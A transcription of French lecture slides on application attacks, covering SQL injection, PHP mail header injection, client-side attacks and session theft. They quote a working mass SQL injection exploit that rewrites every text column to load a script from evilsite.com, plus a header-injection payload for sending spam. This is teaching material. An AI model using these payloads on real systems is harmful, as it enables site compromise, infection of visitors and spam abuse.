Untitled - Ensiwiki
Transcription
Untitled - Ensiwiki
Attaques applicatives Attaques applicatives • Exploitation d une mauvaise programmation des applications – Ne touche pas le serveur lui-même mais son utilisation/ configuration • Surtout populaire pour les sites webs/serveurs d applications • Attaques principales – Injection de code • Par faute logicielle, à ce niveau code interprété – Exploitation d une mauvaise configuration • Données indexées par google! Injection de code • Amener l application à exécuter du code soumis par l attaquant – Possible car • contrôle insuffisant des paramètres • Mauvaise utilisation des paramètres • Attaque reine – SQL Injection Injection SQL • Les paramètres fournis contiennent des expressions SQL • Exemple – Formulaire de login avec deux champs name et password – Requête pour vérifier si l utilisateur existe – SELECT uid WHERE name = 'Dupont' AND password = '45723a2af3788c4ff17f8d1114760e62'" – Si un attaquant s appelle Dupont --" – La requête devient" – SELECT uid WHERE name = 'Dupont -- ' AND password = '45723a2af3788c4ff17f8d1114760e62'" – Ce qui est toujours vrai..." Injection SQL physique :-) Autres injections • Tout ce qui est interprété – PHP, Ruby, Perl pour les CGI,... • Solutions – Tester les paramètres – Ne pas les évaluer • Il n y a aucune raison pour cela! – Mauvaise pratique de programmation • Application aux injections SQL Injection PHP • • • • • • • • • • • • • • • • • • <form method="POST" action="mailing.php"> A: [email protected] De: <input type="text" name="expediteur"> Sujet : <input type="text" name="sujet"> Message : <textarea name="message" rows="10" cols="60" lines="20"></textarea> <input type="submit" name="send" value="Envoyer"> </form> <?php // mailing.php : $to="[email protected]"; $from=$_POST["expediteur"]; if (mail($to,$_POST["sujet"],$_POST["message"],"From: $from\n")){ echo "Votre mail a bien été envoyé à $to"; }else{ echo "Votre mail n'a pas pu être envoyé."; } ?> Injection PHP (2) • • • • Attaque : From: (expediteur) -> "[email protected]%0ACc: [email protected]%0ABcc:[email protected],[email protected]" Subject: (sujet) -> "Ceci est mon sujet" (message) -> "Un message" • • • • • • Le mail envoyé est To: [email protected] Subject: Ceci est mon sujet From: [email protected] Cc:[email protected] Bcc:[email protected],[email protected] • Un message • Et donc envoi de spams possible en utilisant le formulaire Attaque sur les clients • Buts des attaquants – Compromettre la machine (zombifier) – Voler les données (typiquement banquaires) • Normalement, pas de services ouverts – Ou alors problème de configuration! – Quelles portes d entrée ? • Les applications! – Pleines de bugs prêts à être exploités! – Portes d entrée vers le système et ses bibliothèques • Comment exploiter ces bugs ? – L attaquant doit contrôler ce qui est fourni aux applications Attaque sur les clients (2) • Applications visées – Mailer – Browser web • Ce sont des machines virtuelles donc faciles à programmer – Suites applicatives • Souvent avec des langages inclus • Vecteurs d attaques – Pages webs – Mails – documents Attaque sur les clients (3) • Amener les clients à accéder aux données des attaquants – Adresse web à suivre – Documents à ouvrir – ... • Techniques de social engineering – il faut que les messages soient suffisamment alléchants Attaque sur les clients (4) • Attaques par les réseaux aussi – Prendre des données et/ou des droits • Vol de session – Objectif de l attaquant : usurper l utilisateur après son authentification • Sessions stockées de différentes manières – @IP : inadaptée au NAT, vol par déconnexion – Cookie : vol si communication espionnée – Identificateur de session stocké dans l URL – http://www.amazon.fr/gp/feature.html/ref=amb_link_81475465_2? ie=UTF8&docId=1000227633&pf_rd_m=A1X6FK5RDHNB96&pf_rd_s=center-0&pf_rd_r=15MZY44EMKJ VFARAJYS4&pf_rd_t=101&pf_rd_p=463993173&pf_rd_i=405320 À peu près 500000 sites victimes La faille de la semaine • SQL injection « générique » pour IIS, ADO, SQL Server avec ASP • Causes – Programmeurs peu expérimentés (pas de tests des paramètres) – « Puissance » de la chaîne logicielle qui permet d injecter un code compliqué • Conséquences – Infection automatique de la base de données – Ajout d un javascript qui sera chargé par tous les clients • Compromission des clients • Fusée à deux étages : exploitation La faille de la semaine (2), le code de l exploit • • • • • • • • • • • • • • • • • • • • • DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; La faille de la semaine • Buffer overflow dans l affichage des images – Sous windows – Format WMF • Conséquences – Compromission totale de la machine – Avec les droits de l utilisateur • Vecteur d attaque – Tout moyen d afficher une image • Historique – Publié à Noël 2005 – A provoqué l apparition d un patch hors timing